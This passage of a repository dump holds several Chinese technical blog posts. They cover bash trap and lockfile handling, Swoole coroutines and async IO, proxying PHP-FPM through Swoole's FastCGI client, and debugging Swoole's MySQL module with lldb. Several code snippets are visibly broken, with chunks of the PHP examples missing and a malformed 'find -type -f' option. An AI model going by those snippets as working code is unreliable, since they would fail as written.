现在当你杀死进程时,锁文件一同被删除。注意在trap命令中明确地退出了脚本,否则脚本会继续执行trap后面的命令。 192 | 193 | 194 | 195 | # 竟态条件 ([wikipedia](http://zh.wikipedia.org/wiki/%E7%AB%B6%E7%88%AD%E5%8D%B1%E5%AE%B3)) 196 | 197 | 在上面锁文件的例子中,有一个竟态条件是不得不指出的,它存在于判断锁文件和创建锁文件之间。一个可行的解决方法是使用IO重定向和bash的noclobber([wikipedia](http://en.wikipedia.org/wiki/Clobbering))模式,重定向到不存在的文件。我们可以这么做: 198 | 199 | ```shell 200 | if ( set -o noclobber; echo "$$" > "$lockfile") 2> /dev/null; 201 | 202 | then 203 | 204 | trap 'rm -f "$lockfile"; exit $?' INT TERM EXIT 205 | 206 | critical-section 207 | 208 | rm -f "$lockfile" 209 | 210 | trap - INT TERM EXIT 211 | 212 | else 213 | 214 | echo "Failed to acquire lockfile: $lockfile" 215 | 216 | echo "held by $(cat $lockfile)" 217 | 218 | fi 219 | ``` 220 | 221 | 更复杂一点儿的问题是你要更新一大堆文件,当它们更新过程中出现问题时,你是否能让脚本挂得更加优雅一些。你想确认那些正确更新了,哪些根本没有变化。比如你需要一个添加用户的脚本。 222 | 223 | ```shell 224 | add_to_passwd $user 225 | 226 | cp -a /etc/skel /home/$user 227 | 228 | chown $user /home/$user -R 229 | ``` 230 | 231 | 当磁盘空间不足或者进程中途被杀死,这个脚本就会出现问题。在这种情况下,你也许希望用户账户不存在,而且他的文件也应该被删除。 232 | 233 | ```shell 234 | rollback() { 235 | 236 | del_from_passwd $user 237 | 238 | if [ -e /home/$user ]; then 239 | 240 | rm -rf /home/$user 241 | 242 | fi 243 | 244 | exit 245 | 246 | } 247 | 248 | 249 | trap rollback INT TERM EXIT 250 | 251 | add_to_passwd $user 252 | 253 | 254 | 255 | cp -a /etc/skel /home/$user 256 | 257 | chown $user /home/$user -R 258 | 259 | trap - INT TERM EXIT 260 | ``` 261 | 262 | 在脚本最后需要使用trap关闭rollback调用,否则当脚本正常退出的时候rollback将会被调用,那么脚本等于什么都没做。 263 | 264 | 265 | 266 | # 保持原子化 267 | 268 | 又是你需要一次更新目录中的一大堆文件,比如你需要将URL重写到另一个网站的域名。你也许会写: 269 | 270 | ```shell 271 | for file in $(find /var/www -type f -name "*.html"); do 272 | 273 | perl -pi -e 's/www.example.net/www.example.com/' $file 274 | 275 | done 276 | ``` 277 | 278 | 如果修改到一半是脚本出现问题,一部分使用www.example.com,而另一部分使用www.example.net。你可以使用备份和trap解决,但在升级过程中你的网站URL是不一致的。 279 | 280 | 解决方法是将这个改变做成一个原子操作。先对数据做一个副本,在副本中更新URL,再用副本替换掉现在工作的版本。你需要确认副本和工作版本目录在同一个磁盘分区上,这样你就可以利用Linux系统的优势,它移动目录仅仅是更新目录指向的inode节点。 281 | 282 | ```shell 283 | cp -a /var/www /var/www-tmp 284 | 285 | for file in $(find /var/www-tmp -type -f -name "*.html"); do 286 | 287 | perl -pi -e 's/www.example.net/www.example.com/' $file 288 | 289 | done 290 | 291 | mv /var/www /var/www-old 292 | 293 | mv /var/www-tmp /var/www 294 | ``` 295 | 296 | 这意味着如果更新过程出问题,线上系统不会受影响。线上系统受影响的时间降低为两次mv操作的时间,这个时间非常短,因为文件系统仅更新inode而不用真正的复制所有的数据。 297 | 298 | 这种技术的缺点是你需要两倍的磁盘空间,而且那些长时间打开文件的进程需要比较长的时间才能升级到新文件版本,建议更新完成后重新启动这些进程。对于 apache服务器来说这不是问题,因为它每次都重新打开文件。你可以使用lsof命令查看当前正打开的文件。优势是你有了一个先前的备份,当你需要还原 时,它就派上用场了。 -------------------------------------------------------------------------------- /_/swoole-coroutine-and-async-io.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 漫谈Swoole协程与异步IO 3 | date: 2020-06-12 18:02:07 4 | tags: [swoole, coroutine, async] 5 | --- 6 | 7 | 初次接触Swoole的PHP开发者多少都会有点雾里看花的感觉,看不清本质。一部分PHP开发者并不清楚Swoole是什么,只是觉得很牛掰就想用了,这种行为无异于写作文的时候总想堆砌一些华丽的辞藻或是引经据典来提升文章逼格,却背离了文章的主题,本末倒置,每一种技术的诞生都有它的原因,异步或是协程不是万能的银弹,你需要它的时候再去用它,而不是想用它而用它,毕竟编程世界的惯性是巨大的,这天下还是同步阻塞的天下。还有一部分开发者是对Swoole有了一些自己的见解,但对错参半,写出来的程序能跑,甚至也能上生产,但不是最优的,其中大部分问题都源于开发者无法将惯有的思维方式灵活转变。 8 | 9 | 10 | 11 | 协程 12 | --- 13 | 14 | 首先协程的最简定义是**用户态线程**,它不由操作系统而是由用户创建,跑在单个线程(核心)上,比进程或是线程都更加轻量化,通常创建它只有内存消耗:假如你的配置允许你开几千个进程或线程,那么开几万个几十万个协程也是很轻松的事情,**只要内存足够大,你可以几乎无止境地创建新的协程**。在Swoole下,协程的切换实现是依靠双栈切换,即C栈和PHP栈同时切换,由于有栈协程的上下文总是足够的小,且**在用户态便能完成切换**,它的切换速度也总是远快于进程、线程,一般**只需要纳秒级的CPU时间**,对于实际运行的逻辑代码来说这点开销总是可以忽略不计(尤其是在一个重IO的程序中,通过调用分析可以发现协程切换所占的CPU时间非常之低)。 15 | 16 | 对于Swoole这样的有栈协程,你完全可以简单地将其看做是一个栈切换器,你可以在运行的子程序中随意切换到另一个子程序,底层会保存好被切走的协程的执行位置,回来时可以从原先的位置继续往下运行。 17 | 18 | ![coroutine.png](images/swoole-coroutine-and-async-io-0.png) 19 |
Swoole多进程模型下的进程、线程、协程关系图
20 | 21 | 22 | 23 | 但这篇文章我们要谈的并不只是单单「协程」这一个概念,还隐含了关于异步网络IO一系列的东西,**光有协程是什么也做不了的**,因为Swoole的协程永远运行在一个线程中,想用它做并行计算是不可能的,运行速度只会因为创建开销而更慢,没有异步网络IO支持,你只能在不同协程间切来切去玩。 24 | 25 | 实际上PHP早就实现了协程,`yield`关键字就是允许你从一个函数中让出执行权,需要的时候能重新回到让出的位置继续往下执行,但它没有流行起来也有多种原因,一个是它的传染性,每一层调用都需要加关键字,另一个就是PHP没有高效可靠的异步IO支持,让其食之无味。 26 | 27 | 异步 28 | --- 29 | 30 | > 注:本文中提到的异步IO并非全为严格定义上的异步IO,更多的是日常化的表达 31 | 32 | 简单了解了协程,再让我们来理解一下什么是异步IO吧。严格来说,在Unix下我们常说的异步并不是真异步,而是同步非阻塞,但是其效果和异步非常相近,所以我们日常中还是以异步相称。同步非阻塞和真异步区别在于:真异步是你提交读写请求后直接检查读写是否已完成即可,所以在Win下这样的技术被叫做「完成端口」,而同步非阻塞仅是操作不会长时间地陷入内核,但你需要在检查到可读或可写后,调用API同步地去拷贝数据,这会不可避免地陷入内核态,但read/write通常并不会阻塞太多的时间,从宏观上整个程序仍可以看作是全异步的。 33 | 34 | | | 阻塞 | 非阻塞 | 35 | | :--: | :---------: | -------------------------------------------- | 36 | | 同步 | write, read | read, write + poll / select / epoll / kqueue | 37 | | 异步 | - | aio_read, aio_write, IOCP(windows) | 38 | 39 | 在实际使用中,「伪异步」的Reactor模型并不比Windows下IOCP的Proactor逊色,并且我更喜欢Reactor的可控性,当然为了追求极致的性能和解决网络和文件异步IO统一的问题,未来Linux的io_uring可能会成为新的趋势。 40 | 41 | ![event_wait.png](images/swoole-coroutine-and-async-io-1.png) 42 | 43 |
Reactor运行流程简图
44 | 45 | 我们可以通过上面的图片简单理解Reactor模型的运行流程,所谓的「异步」不过是多路复用带来的观感效果,你的程序不会阻塞在一个IO上,而是在无事可干的时候再阻塞在一堆IO上,即**IO操作不在你需要CPU的时候阻塞你,你就不会感受到IO阻塞的存在**。 46 | 47 | > 结合现实情景来说,以前你要买饭(IO操作),你得下楼去买,还得排队等饭店大厨做完才能取回家吃(IO阻塞),到了下一餐,你又得重复之前的操作,很是麻烦,而且越是繁忙的时候等的时间越长(慢速IO),你觉得一天到晚净排队了,极大地浪费了你写代码的时间(CPU时间)。现在有了外卖,你直接下单(异步请求)就可以继续专心写代码(非阻塞),你还可以一次定三份饭(多路IO),饭到了骑手打电话让你下楼取(事件触发),前后只花了不到几分钟(同步读写,如果是Proactor连取餐都省了,直接给你送上楼),周六晚上的九点,你终于合上电脑,觉得充实极了,因为你几乎一整周都在写代码(CPU利用率高)。 48 | 49 | 50 | 51 | 协程+异步=同步非阻塞编程 52 | --- 53 | 54 | 现在我们有了协程和异步,我们可以做什么呢?那就是异步的同步化。这时候有的开发者就会说了,诶呀好不容易习惯异步了,怎么又退回到同步了呢。这就是为什么有些开发者始终写不出最优的协程代码的原因,异步由于操作的完成不是立即的,所以我们需要回调,而回调总是反人类的,嵌套的回调更是如此。 55 | 56 | 而结合协程,消灭回调我们只需要两步:**在发出异步请求之后挂起协程,在异步回调触发时恢复协程**。 57 | 58 | ```php 59 | Swoole\Coroutine\run(function(){ 60 | // 1. 创建定时器并挂起协程#1 61 | Swoole\Coroutine::sleep(1); 62 | // 3. 协程恢复,继续向下运行退出,再次让出 63 | }); 64 | // 2. 协程#1让出,进入事件循环,等待1s后定时器回调触发,恢复协程#1 65 | // 4. 协程#1退出并让出,没有更多事件,事件循环退出,进程结束 66 | ``` 67 | 68 | 短短的一行协程sleep,使用时几乎与同步阻塞的sleep无异,却是异步的。 69 | 70 | ```php 71 | for ($n = 10; $n--;) { 72 | Swoole\Coroutine::create(function(){ 73 | Swoole\Coroutine::sleep(1); 74 | }); 75 | } 76 | ``` 77 | 78 | 我们循环创建十个协程并各sleep一秒,但实际运行可以发现整个进程只阻塞了一秒,这就表明在Swoole提供的API下,阻塞操作都由进程级别的阻塞变为了协程级别的阻塞,这样我们可以以很小的开销在进程内通过创建大量协程来处理大量的IO任务。 79 | 80 | 协程代码编写思路 81 | --- 82 | 83 | ### 定时任务 84 | 85 | 当我们说到定时任务时,很多人第一时间都想到定时器,这没错,但是在协程世界,它不是最佳选择。 86 | 87 | ```php 88 | $stopTimer = false; 89 | $timerContext = []; 90 | $timerId = Swoole\Timer::tick(1, function () { 91 | // do something 92 | global $timerContext; 93 | global $timerId; 94 | global $stopTimer; 95 | $timerContext[] = 'data'; 96 | if ($stopTimer) { 97 | var_dump($timerContext); 98 | Swoole\Timer::clear($timerId); 99 | } 100 | }); 101 | // if we want to stop it: 102 | $stopTimer = true; 103 | ``` 104 | 105 | 在异步回调下,我们需要以这样的方式来掌控定时器,每一次定时器回调都会创建一个新的协程,并且我们不得不通过全局变量来维护它的上下文。 106 | 107 | 如果是协程呢? 108 | 109 | ```php 110 | Swoole\Coroutine\run(function() { 111 | $channel = new Swoole\Coroutine\Channel; 112 | Swoole\Coroutine::create(function () use ($channel) { 113 | $context = []; 114 | while (!$channel->pop(0.001)) { 115 | $context[] = 'data'; 116 | } 117 | var_dump($context); 118 | }); 119 | // if we want to stop it, just call: 120 | $channel->push(true); 121 | }); 122 | ``` 123 | 124 | 完全同步的写法,从始至终只在一个协程里,不会丢失上下文,channel->pop在这里的效果相当于毫秒级sleep,并且我们可以通过push数据去停止这个定时器,非常的简单清晰。 125 | 126 | ### Task 127 | 128 | 由于开发者的强烈要求,Swoole官方曾经做了一个错误的决定,就是在Task进程中支持协程和异步IO。 129 | 130 | ![task.png](images/swoole-coroutine-and-async-io-2.png) 131 | 132 | 正如图中所示,Task进程最初被设计为用来处理无法异步化的任务,充当类似于PHP-FPM的角色(半异步半同步模型),这样各司其职,能够将执行效率最大化。 133 | 134 | 最早期的Swoole开发者,甚至直接将Swoole的Worker进程用于执行同步阻塞任务,这种做法并非没有可取之处,它比PHP-FPM下的效率更高,因为程序是持续运行,常驻内存的,少了一些VM启动和销毁的开销,只是需要自己处理资源的生命周期等问题。 135 | 136 | 此外就是使用异步API的开发者,他们会开一堆Task进程,将一些暂时无法异步化的同步阻塞任务丢过去处理。 137 | 138 | 而以上两种都是历史条件下正确并合适的Swoole打开方式。 139 | 140 | 但是还有一小撮开发者,一股脑地把所有任务都投递给Task进程,以为这样就实现了任务异步化,Worker进程除了接收响应和投递任务什么也不干,殊不知这就相当于每一个任务的处理多了**两次数据序列化开销 + 两次数据反序列开销 + 两次IPC开销 + 进程切换开销**。 141 | 142 | 而当协程逐渐成为新的趋势后,又有越来越多的社区呼声要求Task进程也能支持协程和异步IO,这样他们就可以将协程方式编写的任务投递到Task中执行。但异步任务可以很轻量地在本进程被快速处理掉,对Worker整体性能并不会有太大影响,他们这样的行为,也是典型的舍近求远。 143 | 144 | #### Task方式处理协程任务 145 | 146 | ```php 147 | $server->on('Receive', function(Swoole\Server $server) { 148 | # 投递任务,序列化任务数据,通过IPC发送给Task进程 149 | $task_id = $server->task('foo'); 150 | }); 151 | # 切换到Task进程 152 | # 接收并反序列化Worker通过IPC发送来的任务数据 153 | $server->on('Task', function (Swoole\Server $server, $task_id, $from_id, $data) { 154 | # 使用协程DNS查询 155 | $result = \Swoole\Coroutine::gethostbyname($data); 156 | # 序列化数据,通过IPC发送回Worker进程 157 | $server->finish($result); 158 | }); 159 | # 回到Worker进程 160 | # 接收并反序列化Task通过IPC发送来的结果数据 161 | $server->on('Finish', function (Swoole\Server $server, int $task_id, $result) { 162 | # 需要通过任务id才能确认是哪个任务的结果 163 | echo "Task#{$task_id} finished"; 164 | # 打印结果 165 | var_dump($result); 166 | }); 167 | ``` 168 | 169 | #### 协程方式写Task 170 | 171 | > 注:batch方法由swoole/library提供,内置支持需要Swoole-v4.5.2及以上版本,低版本可以自己使用Channel来调度 172 | 173 | ```php 174 | use Swoole\Coroutine; 175 | 176 | Coroutine\run(function () { 177 | # 并发三个DNS查询任务 178 | $result = Coroutine\batch([ 179 | '100tal' => function () { 180 | return Coroutine::gethostbyname('www.100tal.com'); 181 | }, 182 | 'xueersi' => function () { 183 | return Coroutine::gethostbyname('www.xueersi.com'); 184 | }, 185 | 'zhiyinlou' => function () { 186 | return Coroutine::gethostbyname('www.zhiyinlou.com'); 187 | } 188 | ]); 189 | var_dump($result); 190 | }); 191 | ``` 192 | 193 | 输出(API保证返回值顺序与输入顺序一致,不会因为异步而乱序) 194 | 195 | ```php 196 | array(3) { 197 | ["100tal"]=> 198 | string(14) "203.107.33.189" 199 | ["xueersi"]=> 200 | string(12) "60.28.226.27" 201 | ["zhiyinlou"]=> 202 | string(14) "101.36.129.150" 203 | } 204 | ``` 205 | 206 | 非常的简单易懂,不存在任何序列化或者IPC开销,并且由于程序是完全非阻塞的,大量的Task任务也不会对整体性能造成影响,所以说Task进程中使用协程或异步完全就是个错误,作为一个程序员,思维的僵化是很可怕的。 207 | 208 | --- 209 | 210 | 读到这里大家应该也能明白,我们所谈论的协程化技术实际上可以看做传统同步阻塞和非阻塞技术的超集,非阻塞的技术让程序可以同时处理大量IO,协程技术则是实现了可调度的异步单元,它让异步程序的行为变得更加可控。如果你的程序只有一个协程,那么程序整体就是同步阻塞的;如果你的程序在创建某个协程以后不关心它的内部返回值,它就是异步的。 211 | 212 | 希望通过本文,大家能够加深对协程和异步IO的理解,写出高质量可维护性强的协程程序。 213 | -------------------------------------------------------------------------------- /_/swoole-fpm-proxy.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 使用Swoole协程一键代理PHP-FPM服务 3 | date: 2020-04-17 17:53:22 4 | tags: [swoole, fpm] 5 | --- 6 | 7 | > 作者:陈曹奇昊 8 | > 9 | > 首发于公众号: 学而思网校技术团队 10 | 11 | 一丶 什么是FastCGI 12 | 13 | 在Swoole最新发布的v4.5(RC)版本中,我们实现了一项非常有意思的新特性,那就是协程版本的FastCGI客户端。 14 | 15 | 那么什么是FastCGI呢?首先先来一个官方解释: 16 | 17 | >**快速通用网关接口**(**Fast** **C**ommon **G**ateway **I**nterface/**FastCGI**)是一种让交互程序与Web服务器通信的协议。 18 | 19 | 其实很简单,大家使用PHP-FPM搭建服务的时候必然少不了前面架一个Nginx丶Apache或者IIS之类的东西作为代理,我们应用程序和代理通信的时候,可能会使用各种各样的协议(常见的比如浏览器使用的是HTTP/1.1,HTTP2,QUIC等),而代理的职责就是把各种协议的请求翻译成FastCGI来和PHP-FPM通信,这样PHP服务就无需关心各种类型协议的解析,而可以只关心处理请求本身的内容,且FastCGI是二进制协议,相较于HTTP1.x这样的文本协议,FastCGI可以说是非常高效。 20 | 21 | 实现了FastCGI客户端,那么我们就可以直接与PHP-FPM服务进行交互,但是这有什么用呢? 22 | 23 | 24 | 25 | 二丶Swoole中的Task进程 26 | 27 | 在一个Swoole的异步/协程服务中,我们无法容忍任何阻塞的存在,只要有一处调用阻塞,那么整个服务程序都会退化为阻塞程序,而此时如果我们又没有太多的资源去重构老项目,我们通常会选择使用Task进程来解决。 28 | 29 | Task进程是Swoole异步服务器中专门设计用来执行同步阻塞程序的工作进程,我们可以很方便地调用`$server->task`方法去投递一个同步阻塞任务给Task进程并立即返回,Task进程在完成后再通知Worker进程接收结果,这样就构成了一个半异步半同步的服务器。 30 | 31 | > 我们需要大量的task进程来处理少量的同步阻塞任务,但只需要少量的Worker就可以处理大量的异步非阻塞任务,这就是多路IO复用技术带来的好处 32 | 33 | ![task.png](images/swoole-fpm-proxy-0.png) 34 | 35 | 虽然这样看起来已经非常方便了,但还是有一些不足,如:很多项目不单是同步阻塞,还只能运行在PHP-FPM语境下;此外,如果是协程服务器或是自己用socket写的服务器,就无法使用task功能。那么这时候协程版本的FastCGI就可以一展身手了。 36 | 37 | 38 | 39 | 三、使用协程FastCGI客户端调用PHP-FPM程序 40 | 41 | 首先我们本地得有一个正在运行的PHP-FPM,默认配置,知道它的地址即可 42 | 43 | 然后我们写一个世界级的Hello程序,存档为`/tmp/greeter.php`,我们只需在命令行中输入: 44 | 45 | ```shell 46 | echo " /tmp/greeter.php 47 | ``` 48 | 49 | 然后我们得确保我们已经安装了Swoole扩展,这时候我们只需要在命令行输入: 50 | 51 | ```php 52 | php -n -dextension=swoole -r \ 53 | "Co\run(function() { \ 54 | echo Co\FastCGI\Client::call('127.0.0.1:9000', '/tmp/greeter.php', ['who' => 'Swoole']); \ 55 | });" 56 | ``` 57 | 58 | 就能得到输出 59 | 60 | ```shell 61 | Hello Swoole 62 | ``` 63 | 64 | 这样一个最简单的调用就完成了,并且是协程非阻塞的,我们甚至可以通过多个客户端并发调用多个PHP-FPM提供的接口再提供给前端以提高响应速度。 65 | 66 | 我们可以先写一个sleep程序来模拟同步阻塞的PHP-FPM应用: 67 | 68 | ```php 69 | withScriptFilename('/path/to/blocking.php') 89 | ->withMethod('POST') 90 | ->withBody(['id' => $n]); 91 | $response = $client->execute($request); 92 | echo "Result: {$response->getBody()}\n"; 93 | } catch (Client\Exception $exception) { 94 | echo "Error: {$exception->getMessage()}\n"; 95 | } 96 | }); 97 | } 98 | }); 99 | $s = microtime(true) - $s; 100 | echo 'use ' . $s . ' s' . "\n"; 101 | ``` 102 | 103 | 最终程序输出可能是: 104 | 105 | ```php 106 | Result: 1 107 | Result: 0 108 | use 1.0145659446716 s 109 | ``` 110 | 111 | 可以看到我们并发请求两个阻塞1s的接口,而总耗时仅需1s(实际上是`MAX(...所有接口响应时间)`),而且我们可以看到先请求不一定先返回,这同样也证明了这是一个非阻塞的程序。 112 | 113 | 当然这里要注意的是,你能并发的数量取决于你机器上PHP-FPM的工作进程数量,如果工作进程数量不足,那么请求不得不进行排队。 114 | 115 | 协程FastCGI客户端的到来,相当于我们的协程应用现在拥有了PHP-FPM这样一个无比强大稳定的进程管理器作为Task进程池来完成同步阻塞任务,借此我们可以解决很多问题,如: 116 | 117 | 有一些协议暂未受到Swoole协程的支持,但却有可用的同步阻塞的版本(MongoDB、sqlserver等),我们就可以通过它放心地投递给PHP-FPM来完成。 118 | 119 | 或是你有一个很老的PHP-FPM项目饱受性能困扰又因积重难返而无法快速重构,我们还是可以借助它来更平滑地将旧业务迁移到新的异步/协程服务器中。 120 | 121 | ![fpm.png](images/swoole-fpm-proxy-1.png) 122 | 123 | 124 | 125 | 126 | 四丶使用协程FastCGI一键代理WordPress 127 | 128 | 最强大的是协程FastCGI客户端还支持**一键代理功能**,可以将其它HTTP请求对象转化为FastCGI请求(目前只支持了Swoole\Http,后续可能加入PSR支持),也可以将FastCGI响应转化为HTTP响应,基于这个特性,我们可以做到代理世界上最好的博客程序: 129 | 130 | ```php 131 | declare(strict_types=1); 132 | 133 | use Swoole\Constant; 134 | use Swoole\Coroutine\FastCGI\Proxy; 135 | use Swoole\Http\Request; 136 | use Swoole\Http\Response; 137 | use Swoole\Http\Server; 138 | 139 | $documentRoot = '/path/to/wordpress'; // WordPress目录的绝对路径 140 | $server = new Server('0.0.0.0', 80, SWOOLE_BASE); 141 | $server->set([ 142 | Constant::OPTION_WORKER_NUM => swoole_cpu_num() * 2, 143 | Constant::OPTION_HTTP_PARSE_COOKIE => false, 144 | Constant::OPTION_HTTP_PARSE_POST => false, 145 | Constant::OPTION_DOCUMENT_ROOT => $documentRoot, 146 | Constant::OPTION_ENABLE_STATIC_HANDLER => true, 147 | Constant::OPTION_STATIC_HANDLER_LOCATIONS => ['/'], 148 | ]); 149 | $proxy = new Proxy('127.0.0.1:9000', $documentRoot); 150 | $server->on('request', function (Request $request, Response $response) use ($proxy) { 151 | $proxy->pass($request, $response); 152 | }); 153 | $server->start(); 154 | 155 | ``` 156 | 157 | 撇开一些配置项的设置,整个代理的核心提取出来其实就只有这样一句代码 158 | 159 | ```php 160 | (new Proxy('127.0.0.1:9000', $documentRoot))->pass($request, $response); 161 | ``` 162 | 163 | 然后我们就可以在浏览器中访问localhost: 164 | 165 | > 图示为本地已搭建好的WordPress站点 166 | 167 | ![wordpress.png](images/swoole-fpm-proxy-2.png) 168 | 169 | 170 | 171 | 五丶协程FastCGI客户端的背后 172 | 173 | 协程FastCGI客户端,我们可以在 https://github.com/swoole/library 仓库查看它的源码,在README中可以找到现成的Docker构建命令和配套演示程序来让我们快速上手体验它。 174 | 175 | 此外,通过查看源码我们不难发现,协程FastCGI客户端是完全使用PHP代码编写、基于协程Socket实现的,由于FastCGI是高效的二进制协议,我们使用PHP代码来进行解析也不会有太大的开销(而HTTP1.x这样的文本协议就不行,越是人类友好的协议,对机器来说就越不友好)。 176 | 177 | 包括很多Swoole的其它组件如:WaitGroup、全自动连接池、协程Server等等,都是使用PHP编写的,PHP编写的组件具有内存安全、开发高效的特点,并且Swoole内核将这些PHP组件内嵌到了扩展中,开发者是无感知的,安装扩展后就能立即使用这些组件而无需引入额外的包管理。 178 | 179 | 即使FastCGI客户端是纯PHP编写的,压测性能和nginx仍在一个量级,这也证明了PHP的性能瓶颈并不总是在于PHP代码本身,很多时候是由于同步阻塞的IO模型导致的。 180 | 181 | ![bing.png](images/swoole-fpm-proxy-3.png) 182 | 183 | 目前PHP编写的组件在Swoole中的占比还不高,未来我们希望能引入更多的PHP编写的内部组件来解决功能性的需求,而只有PHP难以满足的一些高性能的需求(如各种复杂协议的处理)才考虑使用C++实现。 184 | 185 | -------------------------------------------------------------------------------- /_/swoole-mysql-analyzation-1.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Swoole的Mysql模块浅析-1 3 | date: 2018-05-11 20:48:00 4 | tags: [swoole, mysql] 5 | --- 6 | 7 | 众所周知, PHP是由C语言编写的, 扩展也不例外, Swoole又是PHP扩展中发展的比较快且很权威的一个扩展, 对于MySQL这部分模块的浅析, 暂可不必了解Swoole底层的实现, 而先关注应用层面的实现. 8 | 9 | ## 基础要求 10 | 11 | 所以除了PHP我们仅需了解以下几个方面的知识: 12 | 13 | 1. MySQL基础 14 | 2. TCP网络协议基础(MySQL协议) 15 | 3. C语言基础及其简单调试 16 | 17 | 而使用过Swoole的同学一定对以下工具不陌生: 18 | 19 | 1. `GDB`(Mac下用`LLDB`)和`Valgrind`作为源码/内存分析 20 | 2. `Wireshark`或`TcpDump`作为网络分析 21 | 22 | 23 | 24 | ## 分析流程 25 | 26 | 首先我们写一个简单的协程Mysql查询Demo 27 | 28 | ```php 29 | go(function () { 30 | $db = new Swoole\Coroutine\Mysql; 31 | $server = [ 32 | 'host' => '127.0.0.1', 33 | 'user' => 'root', 34 | 'password' => 'root', 35 | 'database' => 'test' 36 | ]; 37 | $db->connect($server); 38 | $stmt = $db->prepare('SELECT * FROM `userinfo`'); 39 | $ret = $stmt->execute([]); 40 | var_dump($ret); 41 | }); 42 | ``` 43 | 44 | 然后我们可以使用Wireshark对本地网络进行捕获![](https://ws1.sinaimg.cn/large/006DQdzWgy1fr7pj4z2djj30rs0m8jtr.jpg) 45 | 46 | 47 | 依托于功能强大的wireshark, 我们只需过滤器里输入`mysql`即可从繁忙的本地网络中筛选出mysql通信的数据 48 | 49 | ![](https://ws1.sinaimg.cn/large/006DQdzWgy1fr7ptebaaej30rk06x409.jpg) 50 | 51 | 我们可以看到MySQL通信**建立后**的部分(不包括前面TCP握手等部分) 52 | 1. Mysql服务器向客户端打招呼, 并携带了自身版本信息 53 | 2. 客户端收到后, 发起登录请求, 并携带了配置参数(用户名/密码/使用编码/选择进入的数据库等) 54 | 3. Mysql响应登录成功 55 | 4. 发出一个携带SQL语句的PREPARE请求来编译模板语句 [COM_STMT_PREPARE] 56 | 5. Mysql响应PREPARE_OK响应报文 (这里的返回报文比较复杂,在下一篇细讲) 57 | 6. 发出执行指定ID模板语句的请求, 并携带了参数数据 [COM_STMT_EXECUTE] 58 | 7. Mysql响应结果集(此处也很复杂) 59 | 60 | ## 问题发现: swoole的疏漏? 61 | 62 | 乍看之下这一套流程并没有什么问题, 但由于在此之前我是PDO的忠实粉丝(Swoole的Statement功能也是当初机缘巧合我建议Rango大佬考虑加入的), 所以我在阅读Swoole源码的同时也阅读了PDO源码并编写demo互作比对, 然后很快就发现了问题. 63 | ```php 64 | $pdo = new PDO("mysql:host=127.0.0.1;dbname=test;charset=utf8", "root", "root"); 65 | $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); 66 | $sql = "SELECT * FROM userinfo WHERE `id`=:id"; 67 | $stmt = $pdo->prepare($sql); 68 | $res = $stmt->execute(['id' => 1]); 69 | ``` 70 | 71 | ### 缺失的流程 72 | ![](https://ws1.sinaimg.cn/large/006DQdzWgy1fr7qnai0mxj30rv05egn7.jpg) 73 | 很容易可以发现, PDO比Swoole多做了一些**善后处理**, 在statement对象销毁时, 触发了destruct主动通知mysql销毁了模板语句, 然后在pdo对象销毁时, 又主动通知了mysql该会话/连接退出. 74 | 75 | --- 76 | 77 | 马上我怀疑是我没有主动在swoole调用close关闭的缘故, 但是close应该是在destruct的时候自动触发的, 所以我们需要深入一波源码, 看看swoole是否有做收尾工作. 78 | 79 | ## 源码分析 80 | 81 | 直接通过文件名和关键字搜索来查看对应源码也是可以的, 但是用gdb调试来查看底层C内部运作的流程会更酷. 82 | 83 | Mac下使用lldb工具更佳, 操作和gdb大同小异. 84 | 85 | 在终端中输入: 86 | 87 | ```shell 88 | lldb php "/path/to/swoole-mysql.php" 89 | ``` 90 | 91 | 就可以在lldb中设置调试程序和对应脚本(实际上是调试PHP这个C程序, 并添加了path作为第一个argument) 92 | 93 | 由于Swoole的协程运作机制异常复杂, PHP脚本并不是像代码那样按序从头到尾运行一遍那么简单, go函数会立即返回, Swoole会在脚本结尾注册shutdown-function, 然后进入事件循环, 这里我有空会写一篇新文章分析, 所以按照常规方式操作并不能分析该脚本的调用栈. 94 | 95 | ```shell 96 | # b = breakpoint; r = run 97 | # ================== 98 | b "zim_swoole_mysql_coro___destruct" 99 | r 100 | ``` 101 | 此时可能会提示 102 | ```shell 103 | Breakpoint 1: no locations (pending). 104 | WARNING: Unable to resolve breakpoint to any actual locations. 105 | ``` 106 | 实际上是可以下断点的, 只是由于某些的缘故lldb找不到该位置, 有待分析 107 | 108 | 然后你就可以看到程序运行了并断在了这里, 你可以输入`list`来展开源码 109 | 110 | ```c 111 | * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 112 | frame #0: 0x00000001038aace3 swoole.so`zim_swoole_mysql_coro___destruct(execute_data=0x0000000101c85210, return_value=0x00007ffeefbfd998) at swoole_mysql_coro.c:1088 113 | 1085 114 | 1086 static PHP_METHOD(swoole_mysql_coro, __destruct) 115 | 1087 { 116 | -> 1088 mysql_client *client = swoole_get_object(getThis()); 117 | 1089 if (!client) 118 | 1090 { 119 | 1091 return; 120 | Target 0: (php) stopped. 121 | (lldb) list 122 | 1092 } 123 | 1093 if (client->state != SW_MYSQL_STATE_CLOSED && client->cli) 124 | 1094 { 125 | 1095 swoole_mysql_coro_close(getThis()); 126 | 1096 } 127 | 1097 if (client->buffer) 128 | 1098 { 129 | (lldb) 130 | 1099 swString_free(client->buffer); 131 | 1100 } 132 | 1101 efree(client); 133 | 1102 swoole_set_object(getThis(), NULL); 134 | 1103 135 | 1104 php_context *context = swoole_get_property(getThis(), 0); 136 | 1105 if (!context) 137 | (lldb) 138 | 1106 { 139 | 1107 return; 140 | 1108 } 141 | 1109 if (likely(context->state == SW_CORO_CONTEXT_RUNNING)) 142 | 1110 { 143 | 1111 efree(context); 144 | 1112 } 145 | (lldb) 146 | 1113 else 147 | 1114 { 148 | 1115 context->state = SW_CORO_CONTEXT_TERM; 149 | 1116 } 150 | 1117 swoole_set_property(getThis(), 0, NULL); 151 | 1118 } 152 | 1119 153 | (lldb) 154 | 1120 static PHP_METHOD(swoole_mysql_coro, close) 155 | 1121 { 156 | 1122 if (swoole_mysql_coro_close(getThis()) == FAILURE) 157 | 1123 { 158 | 1124 RETURN_FALSE; 159 | 1125 } 160 | 1126 #if PHP_MAJOR_VERSION < 7 161 | (lldb) 162 | 1127 sw_zval_ptr_dtor(&getThis()); 163 | 1128 #endif 164 | 1129 RETURN_TRUE; 165 | 1130 } 166 | ``` 167 | 168 | 在析构函数中的1095行, 和close函数中的1122行, 我们都可以看到调用了swoole_mysql_coro_close方法, 再次下断点调试 169 | 170 | ```c 